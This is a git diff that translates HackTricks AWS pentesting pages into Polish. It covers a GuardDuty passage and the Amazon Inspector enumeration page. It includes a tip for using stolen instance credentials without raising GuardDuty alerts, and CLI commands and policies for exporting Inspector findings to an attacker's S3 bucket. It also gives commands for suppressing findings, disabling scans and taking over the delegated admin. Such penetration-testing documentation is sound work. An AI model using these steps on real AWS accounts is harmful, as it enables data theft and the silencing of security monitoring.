[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +Ekstrakcja poświadczeń EC2 z usługi metadanych i **wykorzystywanie ich poza** środowiskiem AWS aktywuje alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Z kolei wykorzystanie tych poświadczeń z instancji EC2 uruchamia alert [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Jednak **użycie poświadczeń na innej skompromitowanej instancji EC2 w tym samym koncie pozostaje niewykryte**, nie generując alertu. > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> Dlatego **użyj wyekstrahowanych poświadczeń z wnętrza maszyny**, w której je znalazłeś, aby nie uruchomić tego alertu. -## References +## Referencje - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..627eccb10 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,83 +6,82 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspector to zaawansowana, zautomatyzowana usługa zarządzania podatnościami, zaprojektowana w celu zwiększenia bezpieczeństwa Twojego środowiska AWS. Usługa ta nieustannie skanuje instancje Amazon EC2, obrazy kontenerów w Amazon ECR, Amazon ECS oraz funkcje AWS Lambda w poszukiwaniu podatności i niezamierzonej ekspozycji sieciowej. Wykorzystując solidną bazę danych inteligencji o podatnościach, Amazon Inspector dostarcza szczegółowe wyniki, w tym poziomy ciężkości i zalecenia dotyczące usunięcia, pomagając organizacjom proaktywnie identyfikować i rozwiązywać ryzyka bezpieczeństwa. To kompleksowe podejście zapewnia wzmocnioną postawę bezpieczeństwa w różnych usługach AWS, wspierając zgodność i zarządzanie ryzykiem. -### Key elements +### Kluczowe elementy -#### Findings +#### Wyniki -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Wyniki w Amazon Inspector to szczegółowe raporty dotyczące podatności i ekspozycji odkrytych podczas skanowania instancji EC2, repozytoriów ECR lub funkcji Lambda. W zależności od stanu, wyniki są klasyfikowane jako: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Aktywne**: Wynik nie został usunięty. +- **Zamknięte**: Wynik został usunięty. +- **Tłumione**: Wynik został oznaczony tym stanem z powodu jednej lub więcej **reguł tłumienia**. -Findings are also categorized into the next three types: +Wyniki są również klasyfikowane w trzy następujące typy: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Pakiet**: Te wyniki dotyczą podatności w pakietach oprogramowania zainstalowanych na Twoich zasobach. Przykłady obejmują przestarzałe biblioteki lub zależności z znanymi problemami bezpieczeństwa. +- **Kod**: Ta kategoria obejmuje podatności znalezione w kodzie aplikacji działających na Twoich zasobach AWS. Typowe problemy to błędy w kodzie lub niebezpieczne praktyki, które mogą prowadzić do naruszeń bezpieczeństwa. +- **Sieć**: Wyniki sieciowe identyfikują potencjalne ekspozycje w konfiguracjach sieci, które mogą być wykorzystywane przez atakujących. Obejmują one otwarte porty, niebezpieczne protokoły sieciowe i źle skonfigurowane grupy zabezpieczeń. -#### Filters and Suppression Rules +#### Filtry i reguły tłumienia -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Filtry i reguły tłumienia w Amazon Inspector pomagają zarządzać i priorytetyzować wyniki. Filtry pozwalają na zawężenie wyników na podstawie określonych kryteriów, takich jak ciężkość lub typ zasobu. Reguły tłumienia pozwalają na tłumienie niektórych wyników, które są uważane za niskie ryzyko, zostały już złagodzone lub z jakiegokolwiek innego ważnego powodu, zapobiegając ich przeciążeniu w raportach bezpieczeństwa i pozwalając skupić się na bardziej krytycznych problemach. -#### Software Bill of Materials (SBOM) +#### Lista materiałów oprogramowania (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Lista materiałów oprogramowania (SBOM) w Amazon Inspector to eksportowalna zagnieżdżona lista inwentarzowa szczegółowo opisująca wszystkie komponenty w pakiecie oprogramowania, w tym biblioteki i zależności. SBOM-y pomagają zapewnić przejrzystość w łańcuchu dostaw oprogramowania, umożliwiając lepsze zarządzanie podatnościami i zgodnością. Są kluczowe dla identyfikacji i łagodzenia ryzyk związanych z komponentami oprogramowania open source i stron trzecich. -### Key features +### Kluczowe funkcje -#### Export findings +#### Eksport wyników -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspector oferuje możliwość eksportu wyników do Amazon S3 Buckets, Amazon EventBridge i AWS Security Hub, co umożliwia generowanie szczegółowych raportów zidentyfikowanych podatności i ekspozycji do dalszej analizy lub udostępnienia w określonym terminie. Ta funkcja obsługuje różne formaty wyjściowe, takie jak CSV i JSON, co ułatwia integrację z innymi narzędziami i systemami. Funkcjonalność eksportu pozwala na dostosowanie danych zawartych w raportach, umożliwiając filtrowanie wyników na podstawie określonych kryteriów, takich jak ciężkość, typ zasobu lub zakres dat, a domyślnie obejmuje wszystkie Twoje wyniki w bieżącym regionie AWS z aktywnym statusem. -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +Podczas eksportu wyników niezbędny jest klucz usługi zarządzania kluczami (KMS) do szyfrowania danych podczas eksportu. Klucze KMS zapewniają, że eksportowane wyniki są chronione przed nieautoryzowanym dostępem, zapewniając dodatkową warstwę bezpieczeństwa dla wrażliwych informacji o podatnościach. -#### Amazon EC2 instances scanning +#### Skanowanie instancji Amazon EC2 -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspector oferuje solidne możliwości skanowania instancji Amazon EC2 w celu wykrywania podatności i problemów z bezpieczeństwem. Inspector porównuje wyodrębnione metadane z instancji EC2 z zasadami z poradników bezpieczeństwa, aby wygenerować podatności pakietów i problemy z dostępnością sieci. Skanowania te mogą być przeprowadzane za pomocą metod **opartych na agencie** lub **bez agenta**, w zależności od konfiguracji ustawień **trybu skanowania** Twojego konta. -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Oparte na agencie**: Wykorzystuje agenta AWS Systems Manager (SSM) do przeprowadzania szczegółowych skanów. Ta metoda pozwala na kompleksowe zbieranie i analizowanie danych bezpośrednio z instancji. +- **Bez agenta**: Oferuje lekką alternatywę, która nie wymaga instalacji agenta na instancji, tworząc migawkę EBS każdego woluminu instancji EC2, szukając podatności, a następnie ją usuwając; wykorzystując istniejącą infrastrukturę AWS do skanowania. -The scan mode determines which method will be used to perform EC2 scans: +Tryb skanowania określa, która metoda będzie używana do przeprowadzania skanów EC2: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Oparte na agencie**: Wymaga zainstalowania agenta SSM na instancjach EC2 do głębokiej inspekcji. +- **Skanowanie hybrydowe**: Łączy metody oparte na agencie i bez agenta, aby maksymalizować zasięg i minimalizować wpływ na wydajność. W tych instancjach EC2, gdzie zainstalowany jest agent SSM, Inspector przeprowadzi skanowanie oparte na agencie, a dla tych, gdzie nie ma agenta SSM, skanowanie będzie przeprowadzane bez agenta. -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +Inną ważną funkcją jest **głęboka inspekcja** dla instancji EC2 Linux. Ta funkcja oferuje dokładną analizę oprogramowania i konfiguracji instancji EC2 Linux, dostarczając szczegółowe oceny podatności, w tym podatności systemu operacyjnego, podatności aplikacji i błędów konfiguracyjnych, zapewniając kompleksową ocenę bezpieczeństwa. Osiąga się to poprzez inspekcję **niestandardowych ścieżek** i wszystkich ich podkatalogów. Domyślnie Amazon Inspector skanuje następujące, ale każde konto członkowskie może zdefiniować do 5 dodatkowych niestandardowych ścieżek, a każdy delegowany administrator do 10: - `/usr/lib` - `/usr/lib64` - `/usr/local/lib` - `/usr/local/lib64` -#### Amazon ECR container images scanning +#### Skanowanie obrazów kontenerów Amazon ECR -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspector zapewnia solidne możliwości skanowania obrazów kontenerów Amazon Elastic Container Registry (ECR), zapewniając, że podatności pakietów są wykrywane i zarządzane efektywnie. -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Podstawowe skanowanie**: To szybkie i lekkie skanowanie, które identyfikuje znane podatności pakietów OS w obrazach kontenerów, korzystając z standardowego zestawu zasad z projektu open-source Clair. Przy tej konfiguracji skanowania Twoje repozytoria będą skanowane przy przesyłaniu lub podczas ręcznych skanów. +- **Zwiększone skanowanie**: Ta opcja dodaje funkcję ciągłego skanowania oprócz skanowania przy przesyłaniu. Zwiększone skanowanie zagłębia się głębiej w warstwy każdego obrazu kontenera, aby zidentyfikować podatności w pakietach OS i w pakietach języków programowania z wyższą dokładnością. Analizuje zarówno obraz bazowy, jak i wszelkie dodatkowe warstwy, dostarczając kompleksowy widok potencjalnych problemów z bezpieczeństwem. -#### Amazon Lambda functions scanning +#### Skanowanie funkcji Amazon Lambda -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspector obejmuje kompleksowe możliwości skanowania funkcji AWS Lambda i jej warstw, zapewniając bezpieczeństwo i integralność aplikacji bezserwerowych. Inspector oferuje dwa rodzaje skanowania dla funkcji Lambda: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Standardowe skanowanie Lambda**: Ta domyślna funkcja identyfikuje podatności oprogramowania w zależnościach pakietu aplikacji dodanych do Twojej funkcji Lambda i warstw. Na przykład, jeśli Twoja funkcja używa wersji biblioteki takiej jak python-jwt z znaną podatnością, generuje wynik. +- **Skanowanie kodu Lambda**: Analizuje niestandardowy kod aplikacji w poszukiwaniu problemów z bezpieczeństwem, wykrywając podatności takie jak błędy wstrzykiwania, wycieki danych, słaba kryptografia i brak szyfrowania. Zawiera fragmenty kodu podkreślające wykryte podatności, takie jak zakodowane na stałe dane uwierzytelniające. Wyniki zawierają szczegółowe sugestie dotyczące usunięcia i fragmenty kodu do naprawy problemów. -#### **Center for Internet Security (CIS) scans** +#### **Skanowania Centrum Bezpieczeństwa Internetu (CIS)** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspector obejmuje skanowania CIS, aby porównać systemy operacyjne instancji Amazon EC2 z najlepszymi praktykami zalecanymi przez Centrum Bezpieczeństwa Internetu (CIS). Te skanowania zapewniają, że konfiguracje są zgodne z branżowymi standardami bezpieczeństwa. -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. - -### Enumeration +- **Konfiguracja**: Skanowania CIS oceniają, czy konfiguracje systemu spełniają określone zalecenia CIS Benchmark, z każdym sprawdzeniem powiązanym z identyfikatorem sprawdzenia CIS i tytułem. +- **Wykonanie**: Skanowania są przeprowadzane lub planowane na podstawie tagów instancji i zdefiniowanych harmonogramów. +- **Wyniki**: Wyniki po skanowaniu wskazują, które sprawdzenia przeszły, zostały pominięte lub nie powiodły się, dostarczając informacji o postawie bezpieczeństwa każdej instancji. +### Enumeracja ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,101 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - ### Post Exploitation > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> Z perspektywy atakującego, ta usługa może pomóc atakującemu w znalezieniu luk i ekspozycji sieci, które mogą pomóc mu w kompromitacji innych instancji/kontenerów. > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> Jednak atakujący może być również zainteresowany zakłóceniem tej usługi, aby ofiara nie mogła zobaczyć luk (wszystkich lub konkretnych). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +Atakujący mógłby wygenerować szczegółowe raporty dotyczące luk lub list materiałów oprogramowania (SBOM) i wyeksportować je z twojego środowiska AWS. Informacje te mogą być wykorzystane do zidentyfikowania konkretnych słabości, przestarzałego oprogramowania lub niebezpiecznych zależności, co umożliwia ukierunkowane ataki. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +Przykład poniżej pokazuje, jak wyeksportować wszystkie aktywne ustalenia z Amazon Inspector do kontrolowanego przez atakującego Amazon S3 Bucket z kontrolowanym przez atakującego kluczem Amazon KMS: -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Utwórz Amazon S3 Bucket** i dołącz do niego politykę, aby był dostępny z ofiary Amazon Inspector: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **Utwórz klucz Amazon KMS** i dołącz do niego politykę, aby mógł być używany przez Amazon Inspector ofiary: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. Wykonaj polecenie, aby **utworzyć raport ustaleń** eksfiltrując go: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **Potencjalny wpływ**: Generowanie i eksfiltracja szczegółowych raportów o podatnościach i oprogramowaniu, uzyskiwanie informacji na temat konkretnych podatności i słabości w zabezpieczeniach. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +Napastnik mógłby anulować generowanie określonego raportu o podatnościach lub raportu SBOM, uniemożliwiając zespołom bezpieczeństwa otrzymywanie na czas informacji o podatnościach i oprogramowaniu (SBOM), opóźniając wykrywanie i usuwanie problemów z zabezpieczeniami. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **Potencjalny wpływ**: Zakłócenie monitorowania bezpieczeństwa i zapobieganie terminowemu wykrywaniu oraz usuwaniu problemów z bezpieczeństwem. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +Napastnik z tymi uprawnieniami mógłby manipulować regułami filtrowania, które określają, które podatności i problemy z bezpieczeństwem są zgłaszane lub tłumione (jeśli **akcja** jest ustawiona na SUPPRESS, zostanie utworzona reguła tłumienia). Może to ukryć krytyczne podatności przed administratorami bezpieczeństwa, ułatwiając wykorzystanie tych słabości bez wykrycia. Poprzez modyfikację lub usunięcie ważnych filtrów, napastnik mógłby również generować szum, zalewając system nieistotnymi wynikami, co utrudnia skuteczne monitorowanie i reakcję na bezpieczeństwo. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +285,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **Potencjalny wpływ**: Ukrycie lub stłumienie krytycznych luk w zabezpieczeniach, lub zalanie systemu nieistotnymi wynikami. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +Atakujący mógłby znacząco zakłócić strukturę zarządzania bezpieczeństwem. -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- Dezaktywując konto delegowanego administratora, atakujący mógłby uniemożliwić zespołowi ds. bezpieczeństwa dostęp do ustawień i raportów Amazon Inspector. +- Włączenie nieautoryzowanego konta administratora pozwoliłoby atakującemu kontrolować konfiguracje bezpieczeństwa, potencjalnie dezaktywując skany lub modyfikując ustawienia, aby ukryć złośliwe działania. > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> Wymagane jest, aby nieautoryzowane konto znajdowało się w tej samej Organizacji co ofiara, aby mogło stać się delegowanym administratorem. > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> Aby nieautoryzowane konto mogło stać się delegowanym administratorem, wymagane jest również, aby po dezaktywowaniu legitymnego delegowanego administratora, a przed włączeniem nieautoryzowanego konta jako delegowanego administratora, legitymny administrator musiał zostać wyrejestrowany jako delegowany administrator z organizacji. Można to zrobić za pomocą następującego polecenia (**`organizations:DeregisterDelegatedAdministrator`** wymagana zgoda): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **Potencjalny wpływ**: Zakłócenie zarządzania bezpieczeństwem. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +Napastnik mógłby manipulować stowarzyszeniem kont członkowskich w organizacji Amazon Inspector. Poprzez stowarzyszenie nieautoryzowanych kont lub rozłączenie legalnych, napastnik mógłby kontrolować, które konta są uwzględniane w skanowaniu bezpieczeństwa i raportowaniu. Może to prowadzić do wykluczenia krytycznych kont z monitorowania bezpieczeństwa, umożliwiając napastnikowi wykorzystanie luk w tych kontach bez wykrycia. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Ta akcja wymaga wykonania przez delegowanego administratora. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **Potencjalny wpływ**: Wykluczenie kluczowych kont z skanów bezpieczeństwa, co umożliwia niewykryte wykorzystanie luk. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +Napastnik z uprawnieniem `inspector2:Disable` mógłby wyłączyć skany bezpieczeństwa dla określonych typów zasobów (EC2, ECR, Lambda, kod Lambda) w wyznaczonych kontach, pozostawiając części środowiska AWS bez nadzoru i podatne na ataki. Dodatkowo, posiadając uprawnienia **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`**, napastnik mógłby następnie selektywnie ponownie włączyć skany, aby uniknąć wykrycia podejrzanych konfiguracji. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Ta akcja musi być wykonana przez delegowanego administratora. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **Potencjalny wpływ**: Tworzenie martwych punktów w monitorowaniu bezpieczeństwa. #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +Atakujący z tym uprawnieniem mógłby zaktualizować konfiguracje dla twojej organizacji Amazon Inspector, wpływając na domyślne funkcje skanowania włączone dla nowych kont członkowskich. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Ta akcja musi być wykonana przez delegowanego administratora. ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **Potencjalny wpływ**: Zmiana polityk skanowania bezpieczeństwa i konfiguracji dla organizacji. #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +Napastnik mógłby manipulować tagami na zasobach AWS Inspector, które są kluczowe dla organizowania, śledzenia i automatyzacji ocen bezpieczeństwa. Poprzez zmianę lub usunięcie tagów, napastnik mógłby potencjalnie ukryć luki w zabezpieczeniach przed skanami bezpieczeństwa, zakłócić raportowanie zgodności i ingerować w procesy automatycznej naprawy, co prowadziłoby do niekontrolowanych problemów z bezpieczeństwem i naruszenia integralności systemu. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **Potencjalny wpływ**: Ukrywanie luk, zakłócenie raportowania zgodności, zakłócenie automatyzacji bezpieczeństwa oraz zakłócenie alokacji kosztów. -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## Odniesienia - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - 